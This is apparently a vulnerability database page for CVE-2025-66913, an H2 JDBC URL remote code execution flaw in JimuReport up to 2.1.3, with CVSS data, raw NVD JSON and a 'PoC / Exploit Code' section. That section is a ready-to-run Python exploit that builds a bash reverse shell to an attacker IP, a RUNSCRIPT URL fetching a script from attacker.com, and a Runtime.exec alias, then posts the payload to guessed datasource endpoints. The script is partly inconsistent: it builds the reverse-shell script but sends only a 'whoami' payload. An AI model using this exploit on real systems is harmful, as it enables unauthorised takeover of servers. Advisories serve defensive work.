Security Vulnerability Report
中文
CVE-2025-66913 CVSS 9.8 CRITICAL

CVE-2025-66913

Published: 2026-01-08 20:15:45
Last Modified: 2026-01-30 01:06:26

Description

JimuReport thru version 2.1.3 is vulnerable to remote code execution when processing user-controlled H2 JDBC URLs. The application passes the attacker-supplied JDBC URL directly to the H2 driver, allowing the use of certain directives to execute arbitrary Java code. A different vulnerability than CVE-2025-10770.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:jeecg:jimureport:*:*:*:*:*:*:*:* - VULNERABLE
JimuReport <= 2.1.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-66913 PoC - JimuReport H2 JDBC URL RCE # Target: JimuReport <= 2.1.3 def exploit(target_url, attacker_ip, attacker_port): """ Exploit JimuReport H2 JDBC URL injection to achieve RCE """ # Attacker's HTTP server hosting the malicious SQL script shell_script = f''' CREATE ALIAS IF NOT EXISTS exec AS $$ void exec(String cmd) throws Exception {{ Runtime.getRuntime().exec(cmd); }}$$; CALL exec('bash -i >& /dev/tcp/{attacker_ip}/{attacker_port} 0>&1'); ''' # Another approach using RUNSCRIPT jdbc_url = f"jdbc:h2:mem:test;RUNSCRIPT+'http://attacker.com/shell.sql'" # Alternative: Direct Java code execution via H2 rce_url = f'''jdbc:h2:mem:test;CREATE ALIAS exec AS 'void exec(String cmd){{java.lang.Runtime.getRuntime().exec(cmd);}}';CALL exec('whoami')''' # Endpoint to add datasource (varies by version) endpoints = [ '/jimureport/datasource/add', '/report/datasource/save', '/api/datasource/create' ] payload = { 'name': 'malicious_datasource', 'jdbcUrl': rce_url, 'dbType': 'H2' } for endpoint in endpoints: try: response = requests.post( target_url + endpoint, json=payload, timeout=10, verify=False ) if response.status_code == 200: print(f'[+] Exploit sent successfully via {endpoint}') return True except Exception as e: print(f'[-] Error with {endpoint}: {e}') continue return False if __name__ == '__main__': if len(sys.argv) < 4: print(f'Usage: {sys.argv[0]} <target_url> <attacker_ip> <attacker_port>') print(f'Example: {sys.argv[0]} http://vulnerable-server:8080 192.168.1.100 4444') sys.exit(1) target = sys.argv[1] lhost = sys.argv[2] lport = sys.argv[3] print(f'[*] Targeting {target}') print(f'[*] Setting up reverse shell to {lhost}:{lport}') if exploit(target, lhost, lport): print('[+] Payload delivered, check your listener!') else: print('[-] Exploitation failed, try manually enumerating endpoints')

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-66913", "sourceIdentifier": "[email protected]", "published": "2026-01-08T20:15:44.500", "lastModified": "2026-01-30T01:06:25.553", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "JimuReport thru version 2.1.3 is vulnerable to remote code execution when processing user-controlled H2 JDBC URLs. The application passes the attacker-supplied JDBC URL directly to the H2 driver, allowing the use of certain directives to execute arbitrary Java code. A different vulnerability than CVE-2025-10770."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-94"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:jeecg:jimureport:*:*:*:*:*:*:*:*", "versionEndIncluding": "2.1.3", "matchCriteriaId": "4F12AAF4-7CF4-4B39-8F9D-F00584929D6B"}]}]}], "references": [{"url": "https://gist.github.com/Catherines77/f15d53e9705b24cf018e5bffed3e8234", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://github.com/jeecgboot/jimureport/issues/4306", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Vendor Advisory"]}]}}